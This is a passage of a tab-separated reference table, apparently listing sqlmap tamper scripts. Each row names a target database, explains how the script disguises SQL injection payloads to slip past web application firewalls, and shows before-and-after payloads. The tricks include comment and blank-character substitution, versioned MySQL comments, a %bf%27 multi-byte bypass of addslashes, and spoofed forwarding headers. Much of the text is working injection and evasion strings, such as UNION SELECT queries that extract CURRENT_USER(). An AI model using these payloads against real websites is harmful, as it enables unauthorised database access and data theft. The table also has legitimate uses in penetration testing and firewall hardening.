			'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

space2dash	SQLite	Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n'). **Useful to bypass several web application firewalls** Used during the ZeroNights SQL injection challenge https://proton.onsec.ru/contest/	>>> random.seed(0)
			>>> tamper('1 AND 9227=9227')
			'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

space2hash	MySQL	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n'). **Useful to bypass several web application firewalls**. Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> random.seed(0)
			>>> tamper('1 AND 9227=9227')
			'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

space2hash	MySQL 4.0	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n'). **Useful to bypass several web application firewalls**. Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> random.seed(0)
			>>> tamper('1 AND 9227=9227')
			'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

space2hash	MySQL 5.0	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n'). **Useful to bypass several web application firewalls**. Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> random.seed(0)
			>>> tamper('1 AND 9227=9227')
			'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

space2morecomment	MySQL 5.0	Replaces space character (' ') with comments '/**_**/' **Useful to bypass weak and bespoke web application firewalls**	>>> tamper('SELECT id FROM users') 'SELECT/**_**/id/**_**/FROM/**_**/users'
space2morecomment	MySQL 5.5	Replaces space character (' ') with comments '/**_**/' **Useful to bypass weak and bespoke web application firewalls**	>>> tamper('SELECT id FROM users') 'SELECT/**_**/id/**_**/FROM/**_**/users'
space2morehash	MySQL >= 5.1.13	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')	

space2morehash	MySQL 5.1.41	Useful to bypass several web application firewalls. Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> random.seed(0)
			>>> tamper('1 AND 9227=9227')
			'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'

space2mssqlblank	Microsoft SQL Server	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Eid%0DFROM%07users'

space2mssqlblank	Microsoft SQL Server 2000	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Eid%0DFROM%07users'

space2mssqlblank	Microsoft SQL Server 2005	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Eid%0DFROM%07users'

space2mssqlhash	MSSQL	Replaces space character (' ') with a pound character ('#') followed by a new line ('\n'). **Useful to bypass several web application firewalls**	>>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
space2mssqlhash	MySQL	Replaces space character (' ') with a pound character ('#') followed by a new line ('\n'). **Useful to bypass several web application firewalls**	>>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'

space2mysqlblank	MySQL	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%A0id%0BFROM%0Cusers'

space2mysqlblank	MySQL 5.1	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%A0id%0BFROM%0Cusers'

space2mysqldash	MySQL	Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n'). **Useful to bypass several web application firewalls.**	tamper('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
space2mysqldash	MSSQL	Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n'). **Useful to bypass several web application firewalls.**	tamper('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
space2plus	UNIVERSAL \ NOT DESCRIBED	Replaces space character (' ') with plus ('+'). Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards. **This tamper script works against all databases**	>>> tamper('SELECT id FROM users') 'SELECT+id+FROM+users'

space2randomblank	Microsoft SQL Server 2005	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Did%0DFROM%0Ausers'

space2randomblank	MySQL 4.0	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Did%0DFROM%0Ausers'

space2randomblank	MySQL 5.0	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Did%0DFROM%0Ausers'

space2randomblank	MySQL 5.5	Replaces space character (' ') with a random blank character from a valid set of alternate characters. **Useful to bypass several web application firewalls**	>>> random.seed(0)
			>>> tamper('SELECT id FROM users')
			'SELECT%0Did%0DFROM%0Ausers'

symboliclogical	UNIVERSAL \ NOT DESCRIBED	Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)	>>> tamper("1 AND '1'='1") "1 %26%26 '1'='1"
unionalltounion	UNIVERSAL \ NOT DESCRIBED	Replaces UNION ALL SELECT with UNION SELECT	>>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT'
unmagicquotes	UNIVERSAL \ NOT DESCRIBED	Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work). **Useful for bypassing magic_quotes/addslashes feature h**ttp://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string	>>> tamper("1' AND 1=1") '1%bf%27-- '
uppercase	Microsoft SQL Server 2005	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
uppercase	MySQL 4.0	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
uppercase	MySQL 5.0	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
uppercase	MySQL 5.5	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
uppercase	PostgreSQL 8.3	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
uppercase	PostgreSQL 8.4	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
uppercase	PostgreSQL 9.0	Replaces each keyword character with upper case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> tamper('insert') 'INSERT'
varnish	UNIVERSAL \ NOT DESCRIBED	Append a HTTP header 'X-originating-IP' to bypass WAF Protection of Varnish Firewall Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366	>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A
versionedkeywords	MySQL	Encloses each non-function keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
versionedkeywords	MySQL 4.0.18	Encloses each non-function keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
versionedkeywords	MySQL 5.1.56	Encloses each non-function keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
versionedkeywords	MySQL 5.5.11	Encloses each non-function keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
versionedmorekeywords	MySQL >= 5.1.13	Encloses each keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
versionedmorekeywords	MySQL 5.1.56	Encloses each keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
versionedmorekeywords	MySQL 5.5.11	Encloses each keyword with versioned MySQL comment. Useful to bypass several web application firewalls when the back-end database management system is MySQL	>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
xforwardedfor	UNIVERSAL \ NOT DESCRIBED	Append a fake HTTP header 'X-Forwarded-For' to bypass WAF (usually application based) protection	